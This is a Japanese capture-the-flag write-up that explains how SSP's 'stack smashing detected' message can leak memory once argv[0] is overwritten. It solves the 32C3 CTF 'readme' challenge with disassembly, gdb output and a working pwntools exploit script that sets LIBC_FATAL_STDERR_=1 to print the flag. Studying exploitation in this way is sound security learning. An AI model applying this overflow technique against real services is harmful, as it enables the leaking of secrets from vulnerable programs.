SSPのエラーメッセージからのinformation leak
SSPのエラーメッセージとは
SSP(stack-smashing protection)とはスタック上にcanaryと呼ばれる値を配置し、それが書き換えられたか否かでstack overflowしたかどうかを判定するセキュリティ機構である。
stack overflowが起こるコードを実行してみる。
#include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[10] = {}; strcpy(buf, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); puts(buf); return 0; }
エラーメッセージが出力された。
$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa *** stack smashing detected ***: ./bof terminated 中止 (コアダンプ)
./bof というファイル名がエラーメッセージに含まれている。このファイル名はargv[0]としてバイナリに含まれていて、これを書き換えることで任意のデータを出力できる。
32C3 CTF readme
例として、このテクニックを必要とする、32C3 CTFで出されたreadmeという問題を解く。
実行してみる
2回目の入力でflagを書き換えるようだ。
$ ./readme.bin Hello! What's your name? aaaa Nice to meet you, aaaa. Please overwrite the flag: bbbb Thank you, bye!
解析
SSP有効なstripped 64bit バイナリ。
$ file readme.bin readme.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped $ checksec.sh --file readme.bin RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH readme.bin
gets()が使われていてstack overflowさせることができ、あとの方でflagがあるアドレス(0x600d20)をmemsetで書き換えている。
00000000004007e1 mov esi, 0x400934 ; "Hello!\\nWhat's your name? " 00000000004007e6 mov edi, 0x1 00000000004007eb push rbx 00000000004007ec sub rsp, 0x118 00000000004007f3 mov rax, qword [fs:0x28] 00000000004007fc mov qword [ss:rsp+0x108], rax 0000000000400804 xor eax, eax 0000000000400806 call j___printf_chk 000000000040080b mov rdi, rsp 000000000040080e call j__IO_gets // overflow 0000000000400813 test rax, rax 0000000000400816 je 0x40089f ... 0000000000400868 xor esi, esi ; argument "c" for method j_memset 000000000040086a sub edx, ebx ; argument "len" for method j_memset 000000000040086c add rdi, 0x600d20 ; "32C3_TheServerHasTheFlagHere...", argument "b" for method j_memset 0000000000400873 call j_memset // flag overwrite
memsetで書き換えられる場所以外にもflagが格納されている場所があった。
gdb-peda$ find 32C3 Searching for '32C3' in: None ranges Found 5 results, display max 5 items: readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...") readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...") // will overwrite by memset
argv[0]からflagが格納されている場所へのoffsetは0x218。
gdb-peda$ telescope 0000| 0x7fffffffdd20 --> 0x1 0008| 0x7fffffffdd28 --> 0x7fffffffe0e4 ("/mnt/hgfs/code/pwn_collection/32C3ctf/readme-200/readme.bin") 0016| 0x7fffffffdd30 --> 0x0 0024| 0x7fffffffdd38 --> 0x7fffffffe120 ("LC_PAPER=en_US.UTF-8") 0032| 0x7fffffffdd40 --> 0x7fffffffe135 ("XDG_VTNR=7") 0040| 0x7fffffffdd48 --> 0x7fffffffe140 ("XDG_SESSION_ID=c2") 0048| 0x7fffffffdd50 --> 0x7fffffffe152 ("LC_ADDRESS=en_US.UTF-8") 0056| 0x7fffffffdd58 --> 0x7fffffffe169 ("CLUTTER_IM_MODULE=xim") gdb-peda$ print 0x7fffffffdd28 - 0x7fffffffdb10 $2 = 0x218
exploit
stack overflowさせてargv[0]を書き換える。エラーメッセージはサーバー上の端末に出力されてしまうが、環境変数LIBC_FATAL_STDERR_=1と指定しておくと標準エラー出力に出力され、ネットワーク越しに見えるようになる。flagを書き換える2回目の入力を利用して環境変数を設定する。
#!/usr/bin/env python2.7 # coding: UTF-8 from pwn import * p = process('./readme.bin') payload = 'a' * 0x218 payload += p64(0x400d20) # flag address overwrite argv[0] payload += 'a' * 8 payload += p64(0x600d20) # input writing into env env = 'LIBC_FATAL_STDERR_=1' # writing 0x600d20 by memset p.sendline(payload) p.sendline(env) print p.recvall()
実行結果
$ python exploit.py [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/tomori/.pwntools-cache/update to 'never'. [*] You have the latest version of Pwntools (3.2.0) [+] Starting local process './readme.bin': Done [+] Receiving all data: Done (703B) [*] Process './readme.bin' stopped with exit code -6 Hello! What's your name? Nice to meet you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa @. Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
エラーメッセージのファイル名の部分をflagに書き換えることができた。